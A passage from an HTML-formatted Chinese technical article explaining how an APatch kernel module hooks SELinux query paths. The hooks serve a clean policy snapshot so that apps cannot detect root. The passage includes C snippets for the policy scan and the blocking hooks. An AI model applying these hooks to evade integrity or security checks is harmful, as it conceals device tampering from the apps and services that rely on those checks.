0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">把应用UID的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">policydb</span></code><span leaf="">参数替换成干净副本</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">string_to_context_struct</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">同上，用于上下文字符串到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">context_struct</span></code><span leaf="">的转换</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_complete_init</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">SELinux首次就绪时触发干净策略快照</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_policy_commit</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">每次新策略生效后维护</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">first_policy</span></code><span leaf="">并刷新快照</span></p></td></tr></tbody></table><p data-line="318" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">辅助符号则按需通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kallsyms_lookup_name</span></code><span leaf="">解析，包括</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vmalloc</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vmalloc_noprof</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vfree</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">copy_from_kernel_nofault</span></code><span leaf="">（旧内核退化为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">probe_kernel_read</span></code><span leaf="">）、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_context_to_sid</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_policy_cancel</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sidtab_cancel_convert</span></code><span leaf="">。任一关键符号缺失时，对应的过检测路径会安全降级而非崩溃。</span></p><p data-line="320" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">干净策略的采集时机是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_complete_init</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_policy_commit</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">after</span></code><span leaf="">回调，对应SELinux首次就绪和后续每次新策略落地。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">snapshot_clean_policy</span></code><span leaf="">会调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_read_policy</span></code><span leaf="">复制出一份原始blob，并在blob中扫描</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MAGISK</span></code><span leaf="">字样以标记</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">g_clean_policy_has_magisk</span></code><span leaf="">。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="322" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">rc = g_security_read_policy(&amp;blob, &amp;len);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (rc || !blob || !len)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i + </span><span style="color: rgb(0, 128, 0);"><span leaf="">6</span></span><span leaf=""> &lt;= len; i++) {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> ((p[i] &amp; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0xDF</span></span><span leaf="">) == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;M&#39;</span></span><span leaf=""> &amp;&amp; (p[i + </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">] &amp; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0xDF</span></span><span leaf="">) == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;A&#39;</span></span><span leaf=""> &amp;&amp;</span><span leaf=""><br/></span><span leaf="">        (p[i + </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">] &amp; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0xDF</span></span><span leaf="">) == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;G&#39;</span></span><span leaf=""> &amp;&amp; (p[i + </span><span style="color: rgb(0, 128, 0);"><span leaf="">3</span></span><span leaf="">] &amp; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0xDF</span></span><span leaf="">) == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;I&#39;</span></span><span leaf=""> &amp;&amp;</span><span leaf=""><br/></span><span leaf="">        (p[i + </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">] &amp; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0xDF</span></span><span leaf="">) == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;S&#39;</span></span><span leaf=""> &amp;&amp; (p[i + </span><span style="color: rgb(0, 128, 0);"><span leaf="">5</span></span><span leaf="">] &amp; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0xDF</span></span><span leaf="">) == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;K&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        magisk_seen = </span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">g_clean_policy_blob = blob;</span><span leaf=""><br/></span><span leaf="">g_clean_policy_len = len;</span></code></pre><p data-line="340" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">随后用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_load_policy</span></code><span leaf="">把这份blob反序列化成内部</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">load_state</span></code><span leaf="">，作为应用态查询的备用引擎。需要注意的是，这次内部load是合法的&#34;副本load&#34;，因此KPM用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">g_internal_policy_load_depth</span></code><span leaf="">计数把它与外部的脏策略load区分开来——只有计数为0的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_load_policy</span></code><span leaf="">调用，才会被</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">g_dirty_policy_seen</span></code><span leaf="">标记。</span></p><p data-line="342" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sel_write_context</span></code><span leaf="">钩子的核心，是用前面采集的干净blob反向校验当前查询样本是否合法。判定规则极简：把上下文按冒号切片，取最后一段type名，到干净blob里做字节比对。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="344" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!g_clean_load_state_ready || !g_clean_policy_blob ||</span><span leaf=""><br/></span><span leaf="">    clean_context_exists(sample)) {</span><span leaf=""><br/></span><span leaf="">    args-&gt;local.data0 = </span><span style="color: rgb(0, 128, 0);"><span leaf="">3</span></span><span leaf="">;        </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/* 放行 */</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">args-&gt;skip_origin = </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">args-&gt;local.data0 = </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">;            </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/* 拦截 */</span></span><span leaf=""><br/></span><span leaf="">args-&gt;ret = (u64)(-EINVAL);</span></code></pre><p data-line="356" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sel_write_access</span></code><span leaf="">的处理类似，只是要把&#34;scontext tcontext tclass&#34;中的前两段都校验一遍，任一段在干净策略中找不到，便直接</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-EINVAL</span></code><span leaf="">返回。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">context_struct_compute_av</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">string_to_context_struct</span></code><span leaf="">两个钩子则更进一步：它们把传入的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">policydb</span></code><span leaf="">第一参数替换为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">g_clean_policydb</span></code><span leaf="">，这样即便检测器绕过了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinuxfs</span></code><span leaf="">字符接口直接走Framework调用，最终的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">av_decision</span></code><span leaf="">仍然由干净策略计算得出。</span></p><p data-line="358" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">本方案与KernelSU方案的对照：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">维度</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">KernelSU</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_hide</span></code></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">APatch KPM</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">入口替换方式</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kallsyms_lookup_name(&#34;write_op&#34;)</span></code><p><span leaf="">+</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksu_patch_text</span></code></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">KPM框架的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_wrap</span></code></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">备份策略来源</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">内核内部</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">backup_sepolicy</span></code><span leaf="">，构造时机早于Root域追加</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_read_policy</span></code><span leaf="">+</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_load_policy</span></code><span leaf="">运行时重建</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">覆盖入口</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SEL_CONTEXT</span></code><p><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SEL_ACCESS</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setprocattr current</span></code></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">同上，并额外覆盖</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">compute_av</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">string_to_context</span></code><span leaf="">等更深层入口</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">适用平台</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">与KernelSU一同合入</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">任何能加载KPM的内核，无需源码改动</span></p></td></tr></tbody></table><p data-line="367" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">总体上，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span 